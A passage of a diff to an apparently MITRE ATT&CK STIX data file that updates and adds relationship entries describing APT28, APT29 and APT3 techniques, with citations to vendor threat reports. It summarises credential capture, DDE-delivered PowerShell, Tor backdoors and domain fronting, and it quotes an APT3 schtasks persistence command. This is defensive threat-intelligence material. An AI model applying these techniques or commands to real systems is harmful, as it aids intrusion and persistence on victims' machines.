-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has deleted files from the system via the NSFileManager:removeFileAtPath method .",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24819,7 +26794,7 @@
             "id": "relationship--46f853ea-3f45-4570-a155-826bec98456d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has been known to specifically look for Firefox passwords on the file system ",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24840,7 +26815,7 @@
             "id": "relationship--3094a14f-ccd2-4ba4-a3f6-c6d2721f02db",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has a utility to list detailed information about files and directories ",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
@@ -24856,12 +26831,64 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--cb69217e-f063-4093-bcf0-f051ecd42e25",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT28 deployed the open source tool Responder to conduct NetBIOS Name Service poisoning, which captured usernames and hashed passwords that allowed access to legitimate credentials.",
+            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
+            "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT28",
+                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
+                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
+                },
+                {
+                    "source_name": "FireEye APT28 Hospitality Aug 2017",
+                    "description": "Smith, L. and Read, B.. (2017, August 11). APT28 Targets Hospitality Sector, Presents Threat to Travelers. Retrieved August 17, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--69f57458-bfb2-44a2-a8cf-0fce0e2b0a22",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT28 has delivered JHUHUGIT by executing PowerShell commands through DDE in Word documents. ",
+            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
+            "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "McAfee APT28 DDE1 Nov 2017",
+                    "description": "Sherstobitoff, R., Rea, M. (2017, November 7). Threat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack. Retrieved November 21, 2017.",
+                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/"
+                },
+                {
+                    "source_name": "McAfee APT28 DDE2 Nov 2017",
+                    "description": "Paganini, P. (2017, November 9). Russia-Linked APT28 group observed using DDE attack to deliver malware. Retrieved November 21, 2017.",
+                    "url": "http://securityaffairs.co/wordpress/65318/hacking/dde-attack-apt28.html"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--24013fde-5ce7-4995-9d9f-d2ced31b9d9a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.040Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
@@ -24874,7 +26901,7 @@
             "id": "relationship--75d04175-c43d-46cd-be08-5f4c91f767ed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.040Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
@@ -24887,7 +26914,7 @@
             "id": "relationship--5e9bee3d-ea86-4715-9fdc-199e10ef2161",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.040Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -24900,7 +26927,7 @@
             "id": "relationship--92c68b65-18b8-44e9-a368-692048ba9611",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.041Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
@@ -24913,7 +26940,7 @@
             "id": "relationship--5cfcbf60-454a-4673-aa93-9020d04efab7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.041Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
@@ -24926,7 +26953,7 @@
             "id": "relationship--720c211e-2219-496d-8a34-c3f37dfbe5bf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.041Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4",
@@ -24939,7 +26966,7 @@
             "id": "relationship--d26b3aeb-972f-471e-ab59-dc1ee2aa532e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.041Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
@@ -24952,7 +26979,7 @@
             "id": "relationship--ba64e6d1-4deb-440a-a4eb-1c3476b6fb47",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.041Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
@@ -24965,7 +26992,7 @@
             "id": "relationship--bceada36-e6ba-49b9-b9f8-99e37e6cbf9e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.041Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be",
@@ -24978,7 +27005,7 @@
             "id": "relationship--cfe2a359-bbab-4520-bdd7-b2d6abf742cc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
@@ -24991,7 +27018,7 @@
             "id": "relationship--63841959-afe2-4cb0-a93e-d407eb1b8d66",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
@@ -24999,12 +27026,25 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--89363ca8-1cf3-4c40-972c-6e2787a05b43",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
+            "target_ref": "tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--7f78df2e-e6e9-43f1-815b-58e4a10fc594",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 has used encoded PowerShell scripts uploaded to CozyCar installations to download and install SeaDuke.APT29 also used PowerShell scripts to evade defenses.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
@@ -25030,7 +27070,7 @@
             "id": "relationship--00ce7309-114c-45a1-b905-f7a973cb3837",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 has used encoded PowerShell scripts uploaded to CozyCar installations to download and install SeaDuke, as well as to evade defenses.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
@@ -25056,9 +27096,9 @@
             "id": "relationship--5bda4ebe-cd21-469e-9495-952df7254f17",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "APT29 used multiple versions of malware, and also minimized re-use of commonly-identified indicators like MD5s and C2s.",
+            "description": "APT29 used sdelete to remove artifacts from victims.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
             "object_marking_refs": [
@@ -25077,7 +27117,7 @@
             "id": "relationship--ff4e1b0e-eea2-4329-aecc-e5353be8c1f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 used UPX to pack files.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
@@ -25098,7 +27138,7 @@
             "id": "relationship--4a0887ab-3ec3-436a-b378-6e28847dfb1e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 used named and hijacked scheduled tasks to establish persistence.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
@@ -25119,7 +27159,7 @@
             "id": "relationship--343d285a-e910-487b-8e85-dc87cdb63be3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 added Registry Run keys to establish persistence.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
@@ -25140,7 +27180,7 @@
             "id": "relationship--fdcda836-4a21-45d2-8269-31b82aa3c08e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 has bypassed UAC.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
@@ -25161,7 +27201,7 @@
             "id": "relationship--337dc23f-d825-415d-886b-53c3457fbd56",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 has used WMI event filters to establish persistence.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
@@ -25182,7 +27222,7 @@
             "id": "relationship--ab51525b-93c6-4ea8-bd83-b9547f1317bb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 used WMI to steal credentials and execute backdoors at a future time.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
@@ -25203,7 +27243,7 @@
             "id": "relationship--5de21fc4-c460-4da4-9dc4-2acdd54640a8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 used Kerberos ticket attacks for lateral movement.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
@@ -25224,7 +27264,7 @@
             "id": "relationship--e65112dc-8a58-486f-9f3b-5a84925a3e53",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 used sticky-keys to obtain unauthenticated, privileged console access.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
@@ -25247,14 +27287,35 @@
         },
         {
             "type": "relationship",
-            "id": "relationship--acec5aa1-07db-449f-b1cd-64ab57cc7ce5",
+            "id": "relationship--27e7f34e-9750-4cf0-8260-33f2996ee38c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "A backdoor used by APT29 created a TOR hidden service to forward traffic from the TOR client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network.",
+            "description": "APT29 has used the meek domain fronting plugin for Tor to hide the destination of C2 traffic.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
-            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
+            "target_ref": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Mandiant No Easy Breach",
+                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
+                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--54188543-7746-4158-9a9f-5556bb99ec7a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "A backdoor used by APT29 created a Tor hidden service to forward traffic from the Tor client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network.",
+            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
+            "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c",
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
@@ -25271,7 +27332,7 @@
             "id": "relationship--df9beafa-be6b-4e61-9a27-dfb9ec7d6aa3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
@@ -25284,7 +27345,7 @@
             "id": "relationship--0585e082-8f8e-4162-b4a8-3c1cef02f7e3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
@@ -25297,7 +27358,7 @@
             "id": "relationship--067814b5-aa57-45e0-9bdf-5536b077c224",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
@@ -25310,7 +27371,7 @@
             "id": "relationship--ba1a4084-a74f-44d6-bafe-7a09ee959270",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
@@ -25323,7 +27384,7 @@
             "id": "relationship--02462741-4148-48b3-881b-1b813ce62fcc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
@@ -25336,7 +27397,7 @@
             "id": "relationship--eeae630c-0c58-4397-90fb-05f5b60b720f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
@@ -25349,7 +27410,7 @@
             "id": "relationship--a7180b8e-c580-49ab-bbfb-e56e8ab48823",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df",
@@ -25362,7 +27423,7 @@
             "id": "relationship--3ae8d262-d2f8-4fa5-adb4-e379d43b9c37",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
@@ -25375,7 +27436,7 @@
             "id": "relationship--7243a679-467e-4c31-b413-547016b9c3ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c",
@@ -25388,7 +27449,7 @@
             "id": "relationship--1593ae11-0bb5-4e16-804a-1383eb0cced5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e",
@@ -25401,7 +27462,7 @@
             "id": "relationship--8d6cf235-4a33-4866-9b73-a7119293e5db",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
@@ -25414,7 +27475,7 @@
             "id": "relationship--da3a85c7-7590-48b1-8a22-2f8b00060f83",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.051Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
@@ -25427,7 +27488,7 @@
             "id": "relationship--2db640ab-413b-4c49-9842-3bf190c5e184",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
@@ -25435,12 +27496,38 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--0e0197fe-eca5-4d70-bf72-2d9092bc777b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
+            "target_ref": "tool--65370d0b-3bd4-4653-8cf9-daf56f6be830",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--bd5b6f31-2248-4af8-8e8e-e3273aaa57e4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
+            "target_ref": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--fcfb3ce0-01a0-4f92-8e18-b323202d095d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.056Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "An APT3 downloader uses the Windows command <code>\"cmd.exe\" /C whoami</code> to verify that it is running with the elevated privileges of \u201cSystem.\u201d",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
@@ -25461,7 +27548,7 @@
             "id": "relationship--41d61146-4a42-4897-b4a1-a706130a322d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.056Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "An APT3 downloader uses the Windows command <code>\"cmd.exe\" /C whoami</code>. The group also uses a tool to execute commands on remote computers.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
@@ -25487,7 +27574,7 @@
             "id": "relationship--0ca1948b-476c-4ff5-a792-f3790250bdc1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.056Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "An APT3 downloader creates persistence by creating the following scheduled task: <code>schtasks /create /tn \"mysc\" /tr C:\\Users\\Public\\test.exe /sc ONLOGON /ru \"System\"</code>.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
@@ -25508,7 +27595,7 @@
             "id": "relationship--e7379230-882e-4b5c-bee1-629e9028e97f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.056Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "An APT3 downloader establishes SOCKS5 connections to two separate IP addresses over TCP port 1913 and TCP port 81.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
@@ -25529,7 +27616,7 @@
             "id": "relationship--df4b49f1-71ca-4744-8554-47bf36174d89",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.056Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
